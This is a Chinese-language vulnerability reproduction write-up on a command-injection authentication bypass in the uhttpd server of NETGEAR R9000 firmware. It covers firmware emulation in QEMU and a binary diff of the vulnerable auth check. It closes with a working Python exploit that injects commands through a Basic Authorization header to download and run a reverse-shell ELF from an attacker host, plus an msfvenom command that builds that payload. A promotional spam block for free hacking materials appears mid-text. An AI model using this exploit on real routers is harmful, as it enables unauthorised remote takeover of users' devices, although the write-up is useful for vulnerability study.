漏洞概述
漏洞服務: uhttpd
漏洞類型: 遠程命令執行
影響範圍: 1.0.4.26之前的NETGEAR R9000設備會受到身份驗證繞過的影響
解決建議: 更新版本
漏洞復現
操作環境: ubuntu:22.04
qemu-version: 8.1.1
仿真環境
wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip
下載固件。
binwalk -Mer R9000-V1.0.4.26.img
可通過 binwalk
常規解壓獲得文件系統。
檢查 ELF32
文件架構爲 arm-32-little
。
wget https://file.erlkonig.tech/debian-armhf/wheezy/debian_wheezy_armhf_standard.qcow2 wget https://file.erlkonig.tech/debian-armhf/wheezy/initrd.img-3.2.0-4-vexpress wget https://file.erlkonig.tech/debian-armhf/wheezy/vmlinuz-3.2.0-4-vexpress
下載合適的虛擬機映像。
#!/bin/sh # 參考《CTF實戰》by ChaMd5 # 'ens33': The NIC is that can connect internet #sudo ifconfig eth0 down # 首先關閉宿主機網卡接口 sudo brctl addbr br0 # 添加一座名爲 br0 的網橋 sudo brctl addif br0 ens33 # 在 br0 中添加一個接口 sudo brctl stp br0 off # 如果只有一個網橋,則關閉生成樹協議 sudo brctl setfd br0 1 # 設置 br0 的轉發延遲 sudo brctl sethello br0 1 # 設置 br0 的 hello 時間 sudo ifconfig br0 0.0.0.0 promisc up # 啓用 br0 接口 sudo ifconfig ens33 0.0.0.0 promisc up # 啓用網卡接口 sudo dhclient br0 # 從 dhcp 服務器獲得 br0 的 IP 地址 sudo brctl show br0 # 查看虛擬網橋列表 sudo brctl showstp br0 # 查看 br0 的各接口信息 sudo tunctl -t tap0 -u root # 創建一個 tap0 接口,只允許 root 用戶訪問 sudo brctl addif br0 tap0 # 在虛擬網橋中增加一個 tap0 接口 sudo ifconfig tap0 0.0.0.0 promisc up # 啓用 tap0 接口 sudo brctl showstp br0
配置網絡。
#!/bin/sh qemu-system-arm \ -M vexpress-a9 \ -kernel vmlinuz-3.2.0-4-vexpress \ -initrd initrd.img-3.2.0-4-vexpress \ -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2 console=ttyAMA0" \ -net nic -net tap,ifname=tap0,script=no,downscript=no \ -nographic
-M # 選擇開發板• -m # 指定內存大小 -drive # 定義存儲驅動器• file= # 定義鏡像文件• -net nic # 創建客戶機網卡• -net tap # 創建 tap 設備,以橋接方式跟宿主機通信• ifname=virtual0 # tap 設備與名爲 virtual0 的虛擬網卡進行橋接通信• -nographic # 以非圖形化模式啓動• -append # 內核啓動附加參數• -console=ttyAMA0 # console指向串口,有此啓動參數,內核啓動日誌才能輸出到宿主機終端 -nographic # 不再啓用額外的終端界面
啓動 qemu-system-armhf
環境,默認用戶名密碼都爲 root
。
ifconfig eth0 192.168.152.168/24
爲 qemu-system-armhf
配置靜態 IP
。
tar -cvf squashfs-root.tar.gz squashfs-root/ python3 -m http.server
將文件根系統打包,然後利用 python3
的 http.server
模塊下載到 qemu-system-armhf
的根目錄中並用 tar xvf squashfs-root.tar.gz
解壓。
cd /squashfs-root mount --bind /proc proc # proc目錄是一個虛擬文件系統,可以爲linux用戶空間和內核空間提供交互 mount --bind /dev dev # /dev/下的設備是通過創建設備節點生成的,用戶通過此設備節點來訪問內核裏的驅動 chroot . sh
因爲 chroot
會導致無法在隔離的文件系統中訪問原本的 /proc
和 /dev
目錄,這裏利用 mount
命令將 qemu-system-armhf
的 proc
和 dev
目錄掛在到 squashfs-root
中,並更換根目錄爲 squashfs-root
。
【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:dctintin,備註 “開源中國” 獲取!】
① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC 漏洞分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)
Web模擬
find -name uhttpd cat ./etc/init.d/uhttpd
# ./etc/init.d/uhttpd ... start() { #config_load uhttpd #config_foreach start_instance uhttpd #mkdir /tmp/www #cp -rf /usr/www/* /tmp/www /www/cgi-bin/uhttpd.sh start inetd detplc #for bug58012 touch /tmp/fwcheck_status } ...
查找 uhttpd
的相關文件。
#!/bin/sh REALM=`/bin/cat /module_name | sed 's/\n//g'` UHTTPD_BIN="/usr/sbin/uhttpd" PX5G_BIN="/usr/sbin/px5g" uhttpd_stop() { kill -9 $(pidof uhttpd) } uhttpd_start() { $UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443 } case "$1" in stop) uhttpd_stop ;; start) uhttpd_start ;; restart) uhttpd_stop uhttpd_start ;; *) logger -- "usage: $0 start|stop|restart" ;; esac
查看 start()
函數中利用的 /www/cgi-bin/uhttpd.sh
腳本。發現啓動命令爲 $UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
其中 REALM = R9000
,UHTTPD_BIN = /usr/sbin/uhttpd
。我們無需開啓 https
,所以啓動命令爲 /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80
。
逆向分析
wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip
獲取修復版本的固件。因爲源碼較爲繁雜,我們通過 Bindiff
進行二進制比對,來查找漏洞點。
shift+D
選取修復版本的 /usr/sbin/uhttpd
文件即可,主要查看登錄驗證的 uh_cgi_auth_check()
函數。
memset(s, 0, 0x1000u); v14 = strlen(v13); uh_b64decode(s, 0xFFF, v13 + 6, v14 - 6); v15 = strchr(s, ':'); if ( !v15 ) { LABEL_32: v16 = 0; v17 = 0; goto LABEL_15; } v16 = v15 + 1; *v15 = 0; if ( v15 != (char *)0xFFFFFFFF ) { snprintf(command, 0x80u, "/usr/sbin/hash-data -e %s >/tmp/hash_result", v15 + 1); system(command); v3 = cat_file(73805); } v17 = s
漏洞版本 base64
解密後 snprintf()
後直接傳給 system()
執行,這裏會把 v15(:)
後面的內容放到 %s
處,記得加\n
來執行多條指令。
memset(s, 0, 0x1000u); v15 = strlen(v14); uh_b64decode(s, 4095, v14 + 6, v15 - 6); v16 = strchr(s, 58); if ( !v16 ) { LABEL_15: v17 = 0; v18 = 0; goto LABEL_16; } v17 = v16 + 1; *v16 = 0; if ( v16 != (char *)-1 ) { v18 = s; dni_system("/tmp/hash_result", 0, 0, "/usr/sbin/hash-data", "-e", v17, 0); v19 = cat_file("/tmp/hash_result"); goto LABEL_17; }
而修復版本則利用 dni_system()
執行,只可控參數。
獲取權限
poc:
#!/usr/bin/python3 from pwn import * import requests import base64 cmd = 'admin:' cmd += '`' cmd += 'wget http://192.168.152.167:8000/shell.elf\n' cmd += 'chmod 777 ./shell.elf\n' cmd += './shell.elf\n' cmd += '`' assert(len(cmd) < 255) cmd_b64 = base64.b64encode(cmd.encode()).decode() headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Authorization": "Basic " + cmd_b64 } def attack(): try: requests.get("http://192.168.152.168/cgi-bin/", headers=headers, timeout=3) except Exception as e: print(e) attack()
msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.152.167 LPORT=10086 -f elf > shell.elf
利用 msf
生成對應架構的木馬程序,然後在shell.elf
所在的目錄開啓http
服務,利用漏洞將木馬程序下載下來。
啓動監聽,並執行 exp.py
成功獲取 shell
,我們利用獲取的權限在 www
目錄創建 flag.txt
文件然後訪問它。
成功創建。